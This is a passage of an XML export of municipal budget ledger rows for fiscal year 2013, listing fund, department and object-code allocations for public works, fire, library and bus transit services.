<row _id="650"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="651"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>70600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70600.0</total></row>
<row _id="652"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>185524.76</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>185524.76</total></row>
<row _id="653"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555070.0</object><object_description>RECYCLING/DISPOSAL FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4090000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4090000.0</total></row>
<row _id="654"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>405296.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4053</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>409349.0</total></row>
<row _id="655"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20408.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20408.0</total></row>
<row _id="656"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>384216.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>384216.0</total></row>
<row _id="657"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>125000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>23050.0</june><total>148050.0</total></row>
<row _id="658"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>89307.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>89307.0</total></row>
<row _id="659"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>255000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>255000.0</total></row>
<row _id="660"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>79834.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>79834.0</total></row>
<row _id="661"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>250648.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250648.0</total></row>
<row _id="662"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522140.0</object><object_description>WATER PURCHASES</object_description><category_code>852.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4808500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>800000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5608500.0</total></row>
<row _id="663"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555700.0</object><object_description>REGULATORY AGENCY FEES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>110000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>110000.0</total></row>
<row _id="664"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577720.0</object><object_description>CDBG REIMBURSEMENT-HUMAN SVCS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-59500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-59500.0</total></row>
<row _id="665"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-54808.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>51145</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3663.0</total></row>
<row _id="666"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522070.0</object><object_description>DEPOSITION COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="667"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401500.0</object><object_description>GARB/REFUSE COLLECTION FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-22129574.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-22129574.0</total></row>
<row _id="668"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402400.0</object><object_description>INSURANCE RECOVERY</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="669"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5253.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5253.0</total></row>
<row _id="670"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>132296.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>132296.0</total></row>
<row _id="671"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>33584.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>33584.0</total></row>
<row _id="672"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>914277.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>914277.0</total></row>
<row _id="673"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11790.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11790.0</total></row>
<row _id="674"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>26112.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26112.0</total></row>
<row _id="675"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5304.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5304.0</total></row>
<row _id="676"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13260.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13260.0</total></row>
<row _id="677"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="678"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="679"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511972.0</object><object_description>UNIFORM ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>115500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>115500.0</total></row>
<row _id="680"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8160.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8160.0</total></row>
<row _id="681"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4481.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4481.0</total></row>
<row _id="682"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>137190.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>137190.0</total></row>
<row _id="683"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>85714.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>857</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>86571.0</total></row>
<row _id="684"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>496523.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>496523.0</total></row>
<row _id="685"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>41802.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>41802.0</total></row>
<row _id="686"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="687"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>404760.0</object><object_description>RENT/PROP FEES - KEC</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-2381.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2381.0</total></row>
<row _id="688"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10700.0</total></row>
<row _id="689"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="690"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="691"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555190.0</object><object_description>METRO LIBRARY SYSTEMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="692"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544070.0</object><object_description>NON-PRINT RESOURCES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>232095.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>232095.0</total></row>
<row _id="693"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3250317.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>38618</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3288935.0</total></row>
<row _id="694"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17704.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17704.0</total></row>
<row _id="695"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19441.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19441.0</total></row>
<row _id="696"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>268380.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2684</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>271064.0</total></row>
<row _id="697"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>37500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37500.0</total></row>
